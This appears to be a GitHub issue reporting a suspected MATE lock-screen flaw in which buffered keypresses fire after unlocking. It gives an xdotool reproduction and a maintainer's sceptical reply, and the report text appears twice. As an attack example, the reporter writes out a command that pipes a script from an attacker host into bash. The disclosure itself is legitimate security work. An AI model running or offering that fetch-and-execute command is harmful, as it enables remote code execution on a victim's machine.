You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
I made an observation which I believe could be security relevant. By simulating hammering keypresses with xdotool I ended up in a situation where at some point the "Switch User" button will be hit, which will then cause a switch to the lock screen of the display manager.
When unlocking the display manager's lock screen keypresses which apparently somehow are still in some buffer will be triggered.
To better illustrate this behavior
mate1.mp4
I have attached a video.
I have not analyzed this in exact detail, but I believe this means it would somehow be possible for someone to enter a certain chain of keypresses while the screen is locked, which will lead to these keypresses causing events once the screen is unlocked. An attacker may use this by entering a chain of keypresses that will open a terminal and do something like "curl https://attackerserver.example.com/evilscript.sh|bash", which would then be executed once the screen is unlocked by the owner of the machine.
Expected behaviour
Keypresses entered while the screen is locked should not influence the desktop ui after unlocking.
Actual behaviour
Buffered keypresses are activated after unlocking.
Steps to reproduce the behaviour
Run something like this on a terminal:
sleep 5;for i in $(seq 1 5000); do xdotool key ${RANDOM:0:2}; done
Immediately switch to another terminal and call
mate-screensaver-command -l
MATE general version
1.24
Package version
1.24.1
Linux Distribution
Gentoo
Link to bugreport of your Distribution (requirement)
This is almost certainly completely unrelated to the distribution, so a distribution bug report makes little sense here.
The text was updated successfully, but these errors were encountered:
I didn't take enough time to make the random generator hit switch user so I can't be sure but I'm not yet convinced by this report.
Couldn't it simply be that xdotool is still emitting events after unlocking the screen? I could easily imagine events not actually working as expected when the user's X session is not the active one anymore (when going back to the login manager), and "blocking" until the X session becomes "active" again.
From the video I cannot tell whether or not the script emitting events is still running or not, so there's no data saying it's not.
If really those events are generated after the screen is unlocked, it's just a test issue, not an actual bug somewhere.
I made an observation which I believe could be security relevant. By simulating hammering keypresses with xdotool I ended up in a situation where at some point the "Switch User" button will be hit, which will then cause a switch to the lock screen of the display manager.
When unlocking the display manager's lock screen keypresses which apparently somehow are still in some buffer will be triggered.
To better illustrate this behavior
mate1.mp4
I have attached a video.
I have not analyzed this in exact detail, but I believe this means it would somehow be possible for someone to enter a certain chain of keypresses while the screen is locked, which will lead to these keypresses causing events once the screen is unlocked. An attacker may use this by entering a chain of keypresses that will open a terminal and do something like "curl https://attackerserver.example.com/evilscript.sh|bash", which would then be executed once the screen is unlocked by the owner of the machine.
Expected behaviour
Keypresses entered while the screen is locked should not influence the desktop ui after unlocking.
Actual behaviour
Buffered keypresses are activated after unlocking.
Steps to reproduce the behaviour
Run something like this on a terminal:
Immediately switch to another terminal and call
MATE general version
1.24
Package version
1.24.1
Linux Distribution
Gentoo
Link to bugreport of your Distribution (requirement)
This is almost certainly completely unrelated to the distribution, so a distribution bug report makes little sense here.
The text was updated successfully, but these errors were encountered: